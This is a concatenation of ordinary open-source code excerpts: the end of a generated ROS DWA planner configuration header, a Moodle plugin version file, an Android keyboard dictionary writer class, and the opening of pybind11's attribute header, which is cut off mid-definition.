//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.path_distance_bias = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.path_distance_bias = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.path_distance_bias = 32.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("path_distance_bias", "double", 0, "The weight for the path distance part of the cost function", "", &DWAPlannerConfig::path_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("path_distance_bias", "double", 0, "The weight for the path distance part of the cost function", "", &DWAPlannerConfig::path_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.goal_distance_bias = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.goal_distance_bias = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.goal_distance_bias = 24.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("goal_distance_bias", "double", 0, "The weight for the goal distance part of the cost function", "", &DWAPlannerConfig::goal_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("goal_distance_bias", "double", 0, "The weight for the goal distance part of the cost function", "", &DWAPlannerConfig::goal_distance_bias)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.occdist_scale = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.occdist_scale = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.occdist_scale = 0.01;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("occdist_scale", "double", 0, "The weight for the obstacle distance part of the cost function", "", &DWAPlannerConfig::occdist_scale)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("occdist_scale", "double", 0, "The weight for the obstacle distance part of the cost function", "", &DWAPlannerConfig::occdist_scale)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.stop_time_buffer = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.stop_time_buffer = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.stop_time_buffer = 0.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("stop_time_buffer", "double", 0, "The amount of time that the robot must stop before a collision in order for a trajectory to be considered valid in seconds", "", &DWAPlannerConfig::stop_time_buffer)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("stop_time_buffer", "double", 0, "The amount of time that the robot must stop before a collision in order for a trajectory to be considered valid in seconds", "", &DWAPlannerConfig::stop_time_buffer)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.oscillation_reset_dist = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.oscillation_reset_dist = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.oscillation_reset_dist = 0.05;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("oscillation_reset_dist", "double", 0, "The distance the robot must travel before oscillation flags are reset, in meters", "", &DWAPlannerConfig::oscillation_reset_dist)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("oscillation_reset_dist", "double", 0, "The distance the robot must travel before oscillation flags are reset, in meters", "", &DWAPlannerConfig::oscillation_reset_dist)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.oscillation_reset_angle = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.oscillation_reset_angle = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.oscillation_reset_angle = 0.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("oscillation_reset_angle", "double", 0, "The angle the robot must turn before oscillation flags are reset, in radians", "", &DWAPlannerConfig::oscillation_reset_angle)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("oscillation_reset_angle", "double", 0, "The angle the robot must turn before oscillation flags are reset, in radians", "", &DWAPlannerConfig::oscillation_reset_angle)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.forward_point_distance = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.forward_point_distance = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.forward_point_distance = 0.325;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("forward_point_distance", "double", 0, "The distance from the center point of the robot to place an additional scoring point, in meters", "", &DWAPlannerConfig::forward_point_distance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("forward_point_distance", "double", 0, "The distance from the center point of the robot to place an additional scoring point, in meters", "", &DWAPlannerConfig::forward_point_distance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.scaling_speed = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.scaling_speed = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.scaling_speed = 0.25;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("scaling_speed", "double", 0, "The absolute value of the velocity at which to start scaling the robot's footprint, in m/s", "", &DWAPlannerConfig::scaling_speed)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("scaling_speed", "double", 0, "The absolute value of the velocity at which to start scaling the robot's footprint, in m/s", "", &DWAPlannerConfig::scaling_speed)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.max_scaling_factor = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.max_scaling_factor = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.max_scaling_factor = 0.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_scaling_factor", "double", 0, "The maximum factor to scale the robot's footprint by", "", &DWAPlannerConfig::max_scaling_factor)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_scaling_factor", "double", 0, "The maximum factor to scale the robot's footprint by", "", &DWAPlannerConfig::max_scaling_factor)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.vx_samples = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.vx_samples = 2147483647;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.vx_samples = 3;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<int>("vx_samples", "int", 0, "The number of samples to use when exploring the x velocity space", "", &DWAPlannerConfig::vx_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<int>("vx_samples", "int", 0, "The number of samples to use when exploring the x velocity space", "", &DWAPlannerConfig::vx_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.vy_samples = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.vy_samples = 2147483647;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.vy_samples = 10;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<int>("vy_samples", "int", 0, "The number of samples to use when exploring the y velocity space", "", &DWAPlannerConfig::vy_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<int>("vy_samples", "int", 0, "The number of samples to use when exploring the y velocity space", "", &DWAPlannerConfig::vy_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.vth_samples = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.vth_samples = 2147483647;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.vth_samples = 20;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<int>("vth_samples", "int", 0, "The number of samples to use when exploring the theta velocity space", "", &DWAPlannerConfig::vth_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<int>("vth_samples", "int", 0, "The number of samples to use when exploring the theta velocity space", "", &DWAPlannerConfig::vth_samples)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.use_dwa = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.use_dwa = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.use_dwa = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<bool>("use_dwa", "bool", 0, "Use dynamic window approach to constrain sampling velocities to small window.", "", &DWAPlannerConfig::use_dwa)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<bool>("use_dwa", "bool", 0, "Use dynamic window approach to constrain sampling velocities to small window.", "", &DWAPlannerConfig::use_dwa)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.restore_defaults = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.restore_defaults = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.restore_defaults = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<bool>("restore_defaults", "bool", 0, "Restore to the original configuration.", "", &DWAPlannerConfig::restore_defaults)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<bool>("restore_defaults", "bool", 0, "Restore to the original configuration.", "", &DWAPlannerConfig::restore_defaults)));
//#line 233 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.convertParams();
//#line 233 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__group_descriptions__.push_back(DWAPlannerConfig::AbstractGroupDescriptionConstPtr(new DWAPlannerConfig::GroupDescription<DWAPlannerConfig::DEFAULT, DWAPlannerConfig>(Default)));
//#line 353 "/opt/ros/indigo/share/dynamic_reconfigure/cmake/../templates/ConfigType.h.template"
for (std::vector<DWAPlannerConfig::AbstractGroupDescriptionConstPtr>::const_iterator i = __group_descriptions__.begin(); i != __group_descriptions__.end(); ++i)
{
__description_message__.groups.push_back(**i);
}
__max__.__toMessage__(__description_message__.max, __param_descriptions__, __group_descriptions__);
__min__.__toMessage__(__description_message__.min, __param_descriptions__, __group_descriptions__);
__default__.__toMessage__(__description_message__.dflt, __param_descriptions__, __group_descriptions__);
}
std::vector<DWAPlannerConfig::AbstractParamDescriptionConstPtr> __param_descriptions__;
std::vector<DWAPlannerConfig::AbstractGroupDescriptionConstPtr> __group_descriptions__;
DWAPlannerConfig __max__;
DWAPlannerConfig __min__;
DWAPlannerConfig __default__;
dynamic_reconfigure::ConfigDescription __description_message__;
static const DWAPlannerConfigStatics *get_instance()
{
// Split this off in a separate function because I know that
// instance will get initialized the first time get_instance is
// called, and I am guaranteeing that get_instance gets called at
// most once.
static DWAPlannerConfigStatics instance;
return &instance;
}
};
inline const dynamic_reconfigure::ConfigDescription &DWAPlannerConfig::__getDescriptionMessage__()
{
return __get_statics__()->__description_message__;
}
inline const DWAPlannerConfig &DWAPlannerConfig::__getDefault__()
{
return __get_statics__()->__default__;
}
inline const DWAPlannerConfig &DWAPlannerConfig::__getMax__()
{
return __get_statics__()->__max__;
}
inline const DWAPlannerConfig &DWAPlannerConfig::__getMin__()
{
return __get_statics__()->__min__;
}
inline const std::vector<DWAPlannerConfig::AbstractParamDescriptionConstPtr> &DWAPlannerConfig::__getParamDescriptions__()
{
return __get_statics__()->__param_descriptions__;
}
inline const std::vector<DWAPlannerConfig::AbstractGroupDescriptionConstPtr> &DWAPlannerConfig::__getGroupDescriptions__()
{
return __get_statics__()->__group_descriptions__;
}
inline const DWAPlannerConfigStatics *DWAPlannerConfig::__get_statics__()
{
const static DWAPlannerConfigStatics *statics;
if (statics) // Common case
return statics;
boost::mutex::scoped_lock lock(dynamic_reconfigure::__init_mutex__);
if (statics) // In case we lost a race.
return statics;
statics = DWAPlannerConfigStatics::get_instance();
return statics;
}
}
#endif // __DWAPLANNERRECONFIGURATOR_H__
| Java |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Version details
*
* @package block_tag_flickr
* @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
$plugin->version = 2020110900; // The current plugin version (Date: YYYYMMDDXX)
$plugin->requires = 2020110300; // Requires this Moodle version
$plugin->component = 'block_tag_flickr'; // Full name of the plugin (used for diagnostics)
| Java |
/*
* Copyright (C) 2013 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.inputmethod.latin;
import android.content.Context;
import com.android.inputmethod.keyboard.ProximityInfo;
import com.android.inputmethod.latin.SuggestedWords.SuggestedWordInfo;
import com.android.inputmethod.latin.makedict.DictEncoder;
import com.android.inputmethod.latin.makedict.FormatSpec;
import com.android.inputmethod.latin.makedict.FusionDictionary;
import com.android.inputmethod.latin.makedict.FusionDictionary.PtNodeArray;
import com.android.inputmethod.latin.makedict.FusionDictionary.WeightedString;
import com.android.inputmethod.latin.makedict.UnsupportedFormatException;
import com.android.inputmethod.latin.utils.CollectionUtils;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
/**
* An in memory dictionary for memorizing entries and writing a binary dictionary.
*/
public class DictionaryWriter extends AbstractDictionaryWriter {
private static final int BINARY_DICT_VERSION = 3;
private static final FormatSpec.FormatOptions FORMAT_OPTIONS =
new FormatSpec.FormatOptions(BINARY_DICT_VERSION, true /* supportsDynamicUpdate */);
private FusionDictionary mFusionDictionary;
public DictionaryWriter(final Context context, final String dictType) {
super(context, dictType);
clear();
}
@Override
public void clear() {
final HashMap<String, String> attributes = CollectionUtils.newHashMap();
mFusionDictionary = new FusionDictionary(new PtNodeArray(),
new FusionDictionary.DictionaryOptions(attributes, false, false));
}
/**
* Adds a word unigram to the fusion dictionary.
*/
// TODO: Create "cache dictionary" to cache fresh words for frequently updated dictionaries,
// considering performance regression.
@Override
public void addUnigramWord(final String word, final String shortcutTarget, final int frequency,
final int shortcutFreq, final boolean isNotAWord) {
if (shortcutTarget == null) {
mFusionDictionary.add(word, frequency, null, isNotAWord);
} else {
// TODO: Do this in the subclass, with this class taking an arraylist.
final ArrayList<WeightedString> shortcutTargets = CollectionUtils.newArrayList();
shortcutTargets.add(new WeightedString(shortcutTarget, shortcutFreq));
mFusionDictionary.add(word, frequency, shortcutTargets, isNotAWord);
}
}
@Override
public void addBigramWords(final String word0, final String word1, final int frequency,
final boolean isValid, final long lastModifiedTime) {
mFusionDictionary.setBigram(word0, word1, frequency);
}
@Override
public void removeBigramWords(final String word0, final String word1) {
// This class don't support removing bigram words.
}
@Override
protected void writeDictionary(final DictEncoder dictEncoder,
final Map<String, String> attributeMap) throws IOException, UnsupportedFormatException {
for (final Map.Entry<String, String> entry : attributeMap.entrySet()) {
mFusionDictionary.addOptionAttribute(entry.getKey(), entry.getValue());
}
dictEncoder.writeDictionary(mFusionDictionary, FORMAT_OPTIONS);
}
@Override
public ArrayList<SuggestedWordInfo> getSuggestions(final WordComposer composer,
final String prevWord, final ProximityInfo proximityInfo,
boolean blockOffensiveWords, final int[] additionalFeaturesOptions) {
// This class doesn't support suggestion.
return null;
}
@Override
public boolean isValidWord(String word) {
// This class doesn't support dictionary retrieval.
return false;
}
}
| Java |
/*
pybind11/attr.h: Infrastructure for processing custom
type and function attributes
Copyright (c) 2016 Wenzel Jakob <[email protected]>
All rights reserved. Use of this source code is governed by a
BSD-style license that can be found in the LICENSE file.
*/
#pragma once
#include "cast.h"
NAMESPACE_BEGIN(pybind11)
/// \addtogroup annotations
/// @{
/// Annotation for methods
struct is_method { handle class_; is_method(const handle &c) : class_(c) { } };
/// Annotation for operators
struct is_operator { };
/// Annotation for parent scope
struct scope { handle value; scope(const handle &s) : value(s) { } };
/// Annotation for documentation
struct doc { const char *value; doc(const char *value) : value(value) { } };
/// Annotation for function names
struct name { const char *value; name(const char *value) : value(value) { } };
/// Annotation indicating that a function is an overload associated with a given "sibling"
struct sibling { handle value; sibling(const handle &value) : value(value.ptr()) { } };
/// Annotation indicating that a class derives from another given type
template <typename T> struct base {
PYBIND11_DEPRECATED("base<T>() was deprecated in favor of specifying 'T' as a template argument to class_")
base() { }
};
/// Keep patient alive while nurse lives
template <size_t Nurse, size_t Patient> struct keep_alive { };
/// Annotation indicating that a class is involved in a multiple inheritance relationship
struct multiple_inheritance { };
/// Annotation which enables dynamic attributes, i.e. adds `__dict__` to a class
struct dynamic_attr { };
/// Annotation which enables the buffer protocol for a type
struct buffer_protocol { };
/// Annotation which requests that a special metaclass is created for a type
struct metaclass {
handle value;
PYBIND11_DEPRECATED("py::metaclass() is no longer required. It's turned on by default now.")
metaclass() {}
/// Override pybind11's default metaclass
explicit metaclass(handle value) : value(value) { }
};
/// Annotation to mark enums as an arithmetic type
struct arithmetic { };
/** \rst
A call policy which places one or more guard variables (``Ts...``) around the function call.
For example, this definition:
.. code-block:: cpp
m.def("foo", foo, py::call_guard<T>());
is equivalent to the following pseudocode:
.. code-block:: cpp
m.def("foo", [](args...) {
T scope_guard;
return foo(args...); // forwarded arguments
});
\endrst */
template <typename... Ts> struct call_guard;
template <> struct call_guard<> { using type = detail::void_type; };
template <typename T>
struct call_guard<T> {
static_assert(std::is_default_constructible<T>::value,
"The guard type must be default constructible");
using type = T;
};
template <typename T, typename... Ts>
struct call_guard<T, Ts...> {
struct type {
T guard{}; // Compose multiple guard types with left-to-right default-constructor order
typename call_guard<Ts...>::type next{};
};
};
/// @} annotations
NAMESPACE_BEGIN(detail)
/* Forward declarations */
enum op_id : int;
enum op_type : int;
struct undefined_t;
template <op_id id, op_type ot, typename L = undefined_t, typename R = undefined_t> struct op_;
template <typename... Args> struct init;
template <typename... Args> struct init_alias;
inline void keep_alive_impl(size_t Nurse, size_t Patient, function_call &call, handle ret);
/// Internal data structure which holds metadata about a keyword argument
struct argument_record {
const char *name; ///< Argument name
const char *descr; ///< Human-readable version of the argument value
handle value; ///< Associated Python object
bool convert : 1; ///< True if the argument is allowed to convert when loading
bool none : 1; ///< True if None is allowed when loading
argument_record(const char *name, const char *descr, handle value, bool convert, bool none)
: name(name), descr(descr), value(value), convert(convert), none(none) { }
};
/// Internal data structure which holds metadata about a bound function (signature, overloads, etc.)
struct function_record {
function_record()
: is_constructor(false), is_stateless(false), is_operator(false),
has_args(false), has_kwargs(false), is_method(false) { }
/// Function name
char *name = nullptr; /* why no C++ strings? They generate heavier code.. */
// User-specified documentation string
char *doc = nullptr;
/// Human-readable version of the function signature
char *signature = nullptr;
/// List of registered keyword arguments
std::vector<argument_record> args;
/// Pointer to lambda function which converts arguments and performs the actual call
handle (*impl) (function_call &) = nullptr;
/// Storage for the wrapped function pointer and captured data, if any
void *data[3] = { };
/// Pointer to custom destructor for 'data' (if needed)
void (*free_data) (function_record *ptr) = nullptr;
/// Return value policy associated with this function
return_value_policy policy = return_value_policy::automatic;
/// True if name == '__init__'
bool is_constructor : 1;
/// True if this is a stateless function pointer
bool is_stateless : 1;
/// True if this is an operator (__add__), etc.
bool is_operator : 1;
/// True if the function has a '*args' argument
bool has_args : 1;
/// True if the function has a '**kwargs' argument
bool has_kwargs : 1;
/// True if this is a method
bool is_method : 1;
/// Number of arguments (including py::args and/or py::kwargs, if present)
std::uint16_t nargs;
/// Python method object
PyMethodDef *def = nullptr;
/// Python handle to the parent scope (a class or a module)
handle scope;
/// Python handle to the sibling function representing an overload chain
handle sibling;
/// Pointer to next overload
function_record *next = nullptr;
};
/// Special data structure which (temporarily) holds metadata about a bound class
struct type_record {
PYBIND11_NOINLINE type_record()
: multiple_inheritance(false), dynamic_attr(false), buffer_protocol(false) { }
/// Handle to the parent scope
handle scope;
/// Name of the class
const char *name = nullptr;
// Pointer to RTTI type_info data structure
const std::type_info *type = nullptr;
/// How large is the underlying C++ type?
size_t type_size = 0;
/// How large is the type's holder?
size_t holder_size = 0;
/// The global operator new can be overridden with a class-specific variant
void *(*operator_new)(size_t) = ::operator new;
/// Function pointer to class_<..>::init_instance
void (*init_instance)(instance *, const void *) = nullptr;
/// Function pointer to class_<..>::dealloc
void (*dealloc)(const detail::value_and_holder &) = nullptr;
/// List of base classes of the newly created type
list bases;
/// Optional docstring
const char *doc = nullptr;
/// Custom metaclass (optional)
handle metaclass;
/// Multiple inheritance marker
bool multiple_inheritance : 1;
/// Does the class manage a __dict__?
bool dynamic_attr : 1;
/// Does the class implement the buffer protocol?
bool buffer_protocol : 1;
/// Is the default (unique_ptr) holder type used?
bool default_holder : 1;
PYBIND11_NOINLINE void add_base(const std::type_info &base, void *(*caster)(void *)) {
auto base_info = detail::get_type_info(base, false);
if (!base_info) {
std::string tname(base.name());
detail::clean_type_id(tname);
pybind11_fail("generic_type: type \"" + std::string(name) +
"\" referenced unknown base type \"" + tname + "\"");
}
if (default_holder != base_info->default_holder) {
std::string tname(base.name());
detail::clean_type_id(tname);
pybind11_fail("generic_type: type \"" + std::string(name) + "\" " +
(default_holder ? "does not have" : "has") +
" a non-default holder type while its base \"" + tname + "\" " +
(base_info->default_holder ? "does not" : "does"));
}
bases.append((PyObject *) base_info->type);
if (base_info->type->tp_dictoffset != 0)
dynamic_attr = true;
if (caster)
base_info->implicit_casts.emplace_back(type, caster);
}
};
inline function_call::function_call(function_record &f, handle p) :
func(f), parent(p) {
args.reserve(f.nargs);
args_convert.reserve(f.nargs);
}
/**
* Partial template specializations to process custom attributes provided to
* cpp_function_ and class_. These are either used to initialize the respective
* fields in the type_record and function_record data structures or executed at
* runtime to deal with custom call policies (e.g. keep_alive).
*/
template <typename T, typename SFINAE = void> struct process_attribute;
template <typename T> struct process_attribute_default {
/// Default implementation: do nothing
static void init(const T &, function_record *) { }
static void init(const T &, type_record *) { }
static void precall(function_call &) { }
